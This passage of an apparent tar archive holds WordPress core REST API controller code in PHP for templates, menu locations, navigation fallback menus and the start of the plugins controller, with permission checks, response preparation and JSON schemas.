		$blocks        = parse_blocks( $item->content );
		$blocks        = resolve_pattern_blocks( $blocks );
		$item->content = serialize_blocks( $blocks );

		// Restores the more descriptive, specific name for use within this method.
		$template = $item;

		$fields = $this->get_fields_for_response( $request );

		// Base fields for every template.
		$data = array();

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $template->id;
		}

		if ( rest_is_field_included( 'theme', $fields ) ) {
			$data['theme'] = $template->theme;
		}

		if ( rest_is_field_included( 'content', $fields ) ) {
			$data['content'] = array();
		}
		if ( rest_is_field_included( 'content.raw', $fields ) ) {
			$data['content']['raw'] = $template->content;
		}

		if ( rest_is_field_included( 'content.block_version', $fields ) ) {
			$data['content']['block_version'] = block_version( $template->content );
		}

		if ( rest_is_field_included( 'slug', $fields ) ) {
			$data['slug'] = $template->slug;
		}

		if ( rest_is_field_included( 'source', $fields ) ) {
			$data['source'] = $template->source;
		}

		if ( rest_is_field_included( 'origin', $fields ) ) {
			$data['origin'] = $template->origin;
		}

		if ( rest_is_field_included( 'type', $fields ) ) {
			$data['type'] = $template->type;
		}

		if ( rest_is_field_included( 'description', $fields ) ) {
			$data['description'] = $template->description;
		}

		if ( rest_is_field_included( 'title', $fields ) ) {
			$data['title'] = array();
		}

		if ( rest_is_field_included( 'title.raw', $fields ) ) {
			$data['title']['raw'] = $template->title;
		}

		if ( rest_is_field_included( 'title.rendered', $fields ) ) {
			if ( $template->wp_id ) {
				/** This filter is documented in wp-includes/post-template.php */
				$data['title']['rendered'] = apply_filters( 'the_title', $template->title, $template->wp_id );
			} else {
				$data['title']['rendered'] = $template->title;
			}
		}

		if ( rest_is_field_included( 'status', $fields ) ) {
			$data['status'] = $template->status;
		}

		if ( rest_is_field_included( 'wp_id', $fields ) ) {
			$data['wp_id'] = (int) $template->wp_id;
		}

		if ( rest_is_field_included( 'has_theme_file', $fields ) ) {
			$data['has_theme_file'] = (bool) $template->has_theme_file;
		}

		if ( rest_is_field_included( 'is_custom', $fields ) && 'wp_template' === $template->type ) {
			$data['is_custom'] = $template->is_custom;
		}

		if ( rest_is_field_included( 'author', $fields ) ) {
			$data['author'] = (int) $template->author;
		}

		if ( rest_is_field_included( 'area', $fields ) && 'wp_template_part' === $template->type ) {
			$data['area'] = $template->area;
		}

		if ( rest_is_field_included( 'modified', $fields ) ) {
			$data['modified'] = mysql_to_rfc3339( $template->modified );
		}

		if ( rest_is_field_included( 'author_text', $fields ) ) {
			$data['author_text'] = self::get_wp_templates_author_text_field( $template );
		}

		if ( rest_is_field_included( 'original_source', $fields ) ) {
			$data['original_source'] = self::get_wp_templates_original_source_field( $template );
		}

		if ( rest_is_field_included( 'plugin', $fields ) ) {
			$registered_template = WP_Block_Templates_Registry::get_instance()->get_by_slug( $template->slug );
			if ( $registered_template ) {
				$data['plugin'] = $registered_template->plugin;
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $template->id );
			$response->add_links( $links );
			if ( ! empty( $links['self']['href'] ) ) {
				$actions = $this->get_available_actions();
				$self    = $links['self']['href'];
				foreach ( $actions as $rel ) {
					$response->add_link( $rel, $self );
				}
			}
		}

		return $response;
	}

	/**
	 * Returns the source from where the template originally comes from.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Block_Template $template_object Template instance.
	 * @return string                            Original source of the template one of theme, plugin, site, or user.
	 */
	private static function get_wp_templates_original_source_field( $template_object ) {
		if ( 'wp_template' === $template_object->type || 'wp_template_part' === $template_object->type ) {
			/*
			 * Added by theme.
			 * Template originally provided by a theme, but customized by a user.
			 * Templates originally didn't have the 'origin' field so identify
			 * older customized templates by checking for no origin and a 'theme'
			 * or 'custom' source.
			 */
			if ( $template_object->has_theme_file &&
			( 'theme' === $template_object->origin || (
				empty( $template_object->origin ) && in_array(
					$template_object->source,
					array(
						'theme',
						'custom',
					),
					true
				) )
			)
			) {
				return 'theme';
			}

			// Added by plugin.
			if ( 'plugin' === $template_object->origin ) {
				return 'plugin';
			}

			/*
			 * Added by site.
			 * Template was created from scratch, but has no author. Author support
			 * was only added to templates in WordPress 5.9. Fallback to showing the
			 * site logo and title.
			 */
			if ( empty( $template_object->has_theme_file ) && 'custom' === $template_object->source && empty( $template_object->author ) ) {
				return 'site';
			}
		}

		// Added by user.
		return 'user';
	}

	/**
	 * Returns a human readable text for the author of the template.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Block_Template $template_object Template instance.
	 * @return string                            Human readable text for the author.
	 */
	private static function get_wp_templates_author_text_field( $template_object ) {
		$original_source = self::get_wp_templates_original_source_field( $template_object );
		switch ( $original_source ) {
			case 'theme':
				$theme_name = wp_get_theme( $template_object->theme )->get( 'Name' );
				return empty( $theme_name ) ? $template_object->theme : $theme_name;
			case 'plugin':
				if ( ! function_exists( 'get_plugins' ) ) {
					require_once ABSPATH . 'wp-admin/includes/plugin.php';
				}
				if ( isset( $template_object->plugin ) ) {
					$plugins = wp_get_active_and_valid_plugins();

					foreach ( $plugins as $plugin_file ) {
						$plugin_basename = plugin_basename( $plugin_file );
						// Split basename by '/' to get the plugin slug.
						list( $plugin_slug, ) = explode( '/', $plugin_basename );

						if ( $plugin_slug === $template_object->plugin ) {
							$plugin_data = get_plugin_data( $plugin_file );

							if ( ! empty( $plugin_data['Name'] ) ) {
								return $plugin_data['Name'];
							}

							break;
						}
					}
				}

				/*
				 * Fall back to the theme name if the plugin is not defined. That's needed to keep backwards
				 * compatibility with templates that were registered before the plugin attribute was added.
				 */
				$plugins         = get_plugins();
				$plugin_basename = plugin_basename( sanitize_text_field( $template_object->theme . '.php' ) );
				if ( isset( $plugins[ $plugin_basename ] ) && isset( $plugins[ $plugin_basename ]['Name'] ) ) {
					return $plugins[ $plugin_basename ]['Name'];
				}
				return isset( $template_object->plugin ) ?
					$template_object->plugin :
					$template_object->theme;
			case 'site':
				return get_bloginfo( 'name' );
			case 'user':
				$author = get_user_by( 'id', $template_object->author );
				if ( ! $author ) {
					return __( 'Unknown author' );
				}
				return $author->get( 'display_name' );
		}

		// Fail-safe to return a string should the original source ever fall through.
		return '';
	}


	/**
	 * Prepares links for the request.
	 *
	 * @since 5.8.0
	 *
	 * @param integer $id ID.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $id ) {
		$links = array(
			'self'       => array(
				'href' => rest_url( sprintf( '/%s/%s/%s', $this->namespace, $this->rest_base, $id ) ),
			),
			'collection' => array(
				'href' => rest_url( rest_get_route_for_post_type_items( $this->post_type ) ),
			),
			'about'      => array(
				'href' => rest_url( 'wp/v2/types/' . $this->post_type ),
			),
		);

		if ( post_type_supports( $this->post_type, 'revisions' ) ) {
			$template = get_block_template( $id, $this->post_type );
			if ( $template instanceof WP_Block_Template && ! empty( $template->wp_id ) ) {
				$revisions       = wp_get_latest_revision_id_and_total_count( $template->wp_id );
				$revisions_count = ! is_wp_error( $revisions ) ? $revisions['count'] : 0;
				$revisions_base  = sprintf( '/%s/%s/%s/revisions', $this->namespace, $this->rest_base, $id );

				$links['version-history'] = array(
					'href'  => rest_url( $revisions_base ),
					'count' => $revisions_count,
				);

				if ( $revisions_count > 0 ) {
					$links['predecessor-version'] = array(
						'href' => rest_url( $revisions_base . '/' . $revisions['latest_id'] ),
						'id'   => $revisions['latest_id'],
					);
				}
			}
		}

		return $links;
	}

	/**
	 * Get the link relations available for the post and current user.
	 *
	 * @since 5.8.0
	 *
	 * @return string[] List of link relations.
	 */
	protected function get_available_actions() {
		$rels = array();

		$post_type = get_post_type_object( $this->post_type );

		if ( current_user_can( $post_type->cap->publish_posts ) ) {
			$rels[] = 'https://api.w.org/action-publish';
		}

		if ( current_user_can( 'unfiltered_html' ) ) {
			$rels[] = 'https://api.w.org/action-unfiltered-html';
		}

		return $rels;
	}

	/**
	 * Retrieves the query params for the posts collection.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Added `'area'` and `'post_type'`.
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context'   => $this->get_context_param( array( 'default' => 'view' ) ),
			'wp_id'     => array(
				'description' => __( 'Limit to the specified post id.' ),
				'type'        => 'integer',
			),
			'area'      => array(
				'description' => __( 'Limit to the specified template part area.' ),
				'type'        => 'string',
			),
			'post_type' => array(
				'description' => __( 'Post type to get the templates for.' ),
				'type'        => 'string',
			),
		);
	}

	/**
	 * Retrieves the block type' schema, conforming to JSON Schema.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Added `'area'`.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => $this->post_type,
			'type'       => 'object',
			'properties' => array(
				'id'              => array(
					'description' => __( 'ID of template.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'slug'            => array(
					'description' => __( 'Unique slug identifying the template.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'required'    => true,
					'minLength'   => 1,
					'pattern'     => '[a-zA-Z0-9_\%-]+',
				),
				'theme'           => array(
					'description' => __( 'Theme identifier for the template.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'type'            => array(
					'description' => __( 'Type of template.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'source'          => array(
					'description' => __( 'Source of template' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'origin'          => array(
					'description' => __( 'Source of a customized template' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'content'         => array(
					'description' => __( 'Content of template.' ),
					'type'        => array( 'object', 'string' ),
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'properties'  => array(
						'raw'           => array(
							'description' => __( 'Content for the template, as it exists in the database.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit' ),
						),
						'block_version' => array(
							'description' => __( 'Version of the content block format used by the template.' ),
							'type'        => 'integer',
							'context'     => array( 'edit' ),
							'readonly'    => true,
						),
					),
				),
				'title'           => array(
					'description' => __( 'Title of template.' ),
					'type'        => array( 'object', 'string' ),
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'Title for the template, as it exists in the database.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit', 'embed' ),
						),
						'rendered' => array(
							'description' => __( 'HTML title for the template, transformed for display.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit', 'embed' ),
							'readonly'    => true,
						),
					),
				),
				'description'     => array(
					'description' => __( 'Description of template.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'status'          => array(
					'description' => __( 'Status of template.' ),
					'type'        => 'string',
					'enum'        => array_keys( get_post_stati( array( 'internal' => false ) ) ),
					'default'     => 'publish',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'wp_id'           => array(
					'description' => __( 'Post ID.' ),
					'type'        => 'integer',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'has_theme_file'  => array(
					'description' => __( 'Theme file exists.' ),
					'type'        => 'bool',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'author'          => array(
					'description' => __( 'The ID for the author of the template.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'modified'        => array(
					'description' => __( "The date the template was last modified, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'author_text'     => array(
					'type'        => 'string',
					'description' => __( 'Human readable text for the author.' ),
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'original_source' => array(
					'description' => __( 'Where the template originally comes from e.g. \'theme\'' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
					'enum'        => array(
						'theme',
						'plugin',
						'site',
						'user',
					),
				),
			),
		);

		if ( 'wp_template' === $this->post_type ) {
			$schema['properties']['is_custom'] = array(
				'description' => __( 'Whether a template is a custom template.' ),
				'type'        => 'bool',
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
			);
			$schema['properties']['plugin']    = array(
				'type'        => 'string',
				'description' => __( 'Plugin that registered the template.' ),
				'readonly'    => true,
				'context'     => array( 'view', 'edit', 'embed' ),
			);
		}

		if ( 'wp_template_part' === $this->post_type ) {
			$schema['properties']['area'] = array(
				'description' => __( 'Where the template part is intended for use (header, footer, etc.)' ),
				'type'        => 'string',
				'context'     => array( 'embed', 'view', 'edit' ),
			);
		}

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-menu-locations-controller.php000064400000021403151724720270017107 0ustar00<?php
/**
 * REST API: WP_REST_Menu_Locations_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.9.0
 */

/**
 * Core class used to access menu locations via the REST API.
 *
 * @since 5.9.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Menu_Locations_Controller extends WP_REST_Controller {

	/**
	 * Menu Locations Constructor.
	 *
	 * @since 5.9.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'menu-locations';
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 5.9.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<location>[\w-]+)',
			array(
				'args'   => array(
					'location' => array(
						'description' => __( 'An alphanumeric identifier for the menu location.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read menu locations.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		return $this->check_has_read_only_access( $request );
	}

	/**
	 * Retrieves all menu locations, depending on user context.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$data = array();

		foreach ( get_registered_nav_menus() as $name => $description ) {
			$location              = new stdClass();
			$location->name        = $name;
			$location->description = $description;

			$location      = $this->prepare_item_for_response( $location, $request );
			$data[ $name ] = $this->prepare_response_for_collection( $location );
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to read a menu location.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		return $this->check_has_read_only_access( $request );
	}

	/**
	 * Retrieves a specific menu location.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$registered_menus = get_registered_nav_menus();
		if ( ! array_key_exists( $request['location'], $registered_menus ) ) {
			return new WP_Error( 'rest_menu_location_invalid', __( 'Invalid menu location.' ), array( 'status' => 404 ) );
		}

		$location              = new stdClass();
		$location->name        = $request['location'];
		$location->description = $registered_menus[ $location->name ];

		$data = $this->prepare_item_for_response( $location, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Checks whether the current user has read permission for the endpoint.
	 *
	 * @since 6.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the current user has permission, WP_Error object otherwise.
	 */
	protected function check_has_read_only_access( $request ) {
		/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */
		$read_only_access = apply_filters( 'rest_menu_read_access', false, $request, $this );
		if ( $read_only_access ) {
			return true;
		}

		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_view',
				__( 'Sorry, you are not allowed to view menu locations.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Prepares a menu location object for serialization.
	 *
	 * @since 5.9.0
	 *
	 * @param stdClass        $item    Post status data.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Menu location data.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$location = $item;

		$locations = get_nav_menu_locations();
		$menu      = isset( $locations[ $location->name ] ) ? $locations[ $location->name ] : 0;

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'name', $fields ) ) {
			$data['name'] = $location->name;
		}

		if ( rest_is_field_included( 'description', $fields ) ) {
			$data['description'] = $location->description;
		}

		if ( rest_is_field_included( 'menu', $fields ) ) {
			$data['menu'] = (int) $menu;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $location ) );
		}

		/**
		 * Filters menu location data returned from the REST API.
		 *
		 * @since 5.9.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param object           $location The original location object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_menu_location', $response, $location, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.9.0
	 *
	 * @param stdClass $location Menu location.
	 * @return array Links for the given menu location.
	 */
	protected function prepare_links( $location ) {
		$base = sprintf( '%s/%s', $this->namespace, $this->rest_base );

		// Entity meta.
		$links = array(
			'self'       => array(
				'href' => rest_url( trailingslashit( $base ) . $location->name ),
			),
			'collection' => array(
				'href' => rest_url( $base ),
			),
		);

		$locations = get_nav_menu_locations();
		$menu      = isset( $locations[ $location->name ] ) ? $locations[ $location->name ] : 0;
		if ( $menu ) {
			$path = rest_get_route_for_term( $menu );
			if ( $path ) {
				$url = rest_url( $path );

				$links['https://api.w.org/menu'][] = array(
					'href'       => $url,
					'embeddable' => true,
				);
			}
		}

		return $links;
	}

	/**
	 * Retrieves the menu location's schema, conforming to JSON Schema.
	 *
	 * @since 5.9.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'menu-location',
			'type'       => 'object',
			'properties' => array(
				'name'        => array(
					'description' => __( 'The name of the menu location.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'description' => array(
					'description' => __( 'The description of the menu location.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'menu'        => array(
					'description' => __( 'The ID of the assigned menu.' ),
					'type'        => 'integer',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 5.9.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}
}
endpoints/class-wp-rest-navigation-fallback-controller.php000060400000012063151724720270020044 0ustar00<?php
/**
 * WP_REST_Navigation_Fallback_Controller class
 *
 * REST Controller to create/fetch a fallback Navigation Menu.
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 6.3.0
 */

/**
 * REST Controller to fetch a fallback Navigation Block Menu. If needed it creates one.
 *
 * @since 6.3.0
 */
class WP_REST_Navigation_Fallback_Controller extends WP_REST_Controller {

	/**
	 * The Post Type for the Controller
	 *
	 * @since 6.3.0
	 *
	 * @var string
	 */
	private $post_type;

	/**
	 * Constructs the controller.
	 *
	 * @since 6.3.0
	 */
	public function __construct() {
		$this->namespace = 'wp-block-editor/v1';
		$this->rest_base = 'navigation-fallback';
		$this->post_type = 'wp_navigation';
	}

	/**
	 * Registers the controllers routes.
	 *
	 * @since 6.3.0
	 */
	public function register_routes() {

		// Lists a single nav item based on the given id or slug.
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::READABLE ),
				),
				'schema' => array( $this, 'get_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to read fallbacks.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {

		$post_type = get_post_type_object( $this->post_type );

		// Getting fallbacks requires creating and reading `wp_navigation` posts.
		if ( ! current_user_can( $post_type->cap->create_posts ) || ! current_user_can( 'edit_theme_options' ) || ! current_user_can( 'edit_posts' ) ) {
			return new WP_Error(
				'rest_cannot_create',
				__( 'Sorry, you are not allowed to create Navigation Menus as this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( 'edit' === $request['context'] && ! current_user_can( $post_type->cap->edit_posts ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit Navigation Menus as this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Gets the most appropriate fallback Navigation Menu.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$post = WP_Navigation_Fallback::get_fallback();

		if ( empty( $post ) ) {
			return rest_ensure_response( new WP_Error( 'no_fallback_menu', __( 'No fallback menu found.' ), array( 'status' => 404 ) ) );
		}

		$response = $this->prepare_item_for_response( $post, $request );

		return $response;
	}

	/**
	 * Retrieves the fallbacks' schema, conforming to JSON Schema.
	 *
	 * @since 6.3.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'navigation-fallback',
			'type'       => 'object',
			'properties' => array(
				'id' => array(
					'description' => __( 'The unique identifier for the Navigation Menu.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Matches the post data to the schema we want.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_Post         $item    The wp_navigation Post object whose response is being prepared.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response $response The response data.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$data = array();

		$fields = $this->get_fields_for_response( $request );

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = (int) $item->ID;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $item );
			$response->add_links( $links );
		}

		return $response;
	}

	/**
	 * Prepares the links for the request.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_Post $post the Navigation Menu post object.
	 * @return array Links for the given request.
	 */
	private function prepare_links( $post ) {
		return array(
			'self' => array(
				'href'       => rest_url( rest_get_route_for_post( $post->ID ) ),
				'embeddable' => true,
			),
		);
	}
}
endpoints/class-wp-rest-plugins-controller.php000064400000067561151724720270015652 0ustar00<?php
/**
 * REST API: WP_REST_Plugins_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.5.0
 */

/**
 * Core class to access plugins via the REST API.
 *
 * @since 5.5.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Plugins_Controller extends WP_REST_Controller {

	const PATTERN = '[^.\/]+(?:\/[^.\/]+)?';

	/**
	 * Plugins controller constructor.
	 *
	 * @since 5.5.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'plugins';
	}

	/**
	 * Registers the routes for the plugins controller.
	 *
	 * @since 5.5.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => array(
						'slug'   => array(
							'type'        => 'string',
							'required'    => true,
							'description' => __( 'WordPress.org plugin directory slug.' ),
							'pattern'     => '[\w\-]+',
						),
						'status' => array(
							'description' => __( 'The plugin activation status.' ),
							'type'        => 'string',
							'enum'        => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ),
							'default'     => 'inactive',
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<plugin>' . self::PATTERN . ')',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
				),
				'args'   => array(
					'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					'plugin'  => array(
						'type'              => 'string',
						'pattern'           => self::PATTERN,
						'validate_callback' => array( $this, 'validate_plugin_param' ),
						'sanitize_callback' => array( $this, 'sanitize_plugin_param' ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to get plugins.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( ! current_user_can( 'activate_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_view_plugins',
				__( 'Sorry, you are not allowed to manage plugins for this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves a collection of plugins.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$plugins = array();

		foreach ( get_plugins() as $file => $data ) {
			if ( is_wp_error( $this->check_read_permission( $file ) ) ) {
				continue;
			}

			$data['_file'] = $file;

			if ( ! $this->does_plugin_match_request( $request, $data ) ) {
				continue;
			}

			$plugins[] = $this->prepare_response_for_collection( $this->prepare_item_for_response( $data, $request ) );
		}

		return new WP_REST_Response( $plugins );
	}

	/**
	 * Checks if a given request has access to get a specific plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		if ( ! current_user_can( 'activate_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_view_plugin',
				__( 'Sorry, you are not allowed to manage plugins for this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$can_read = $this->check_read_permission( $request['plugin'] );

		if ( is_wp_error( $can_read ) ) {
			return $can_read;
		}

		return true;
	}

	/**
	 * Retrieves one plugin from the site.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$data = $this->get_plugin_data( $request['plugin'] );

		if ( is_wp_error( $data ) ) {
			return $data;
		}

		return $this->prepare_item_for_response( $data, $request );
	}

	/**
	 * Checks if the given plugin can be viewed by the current user.
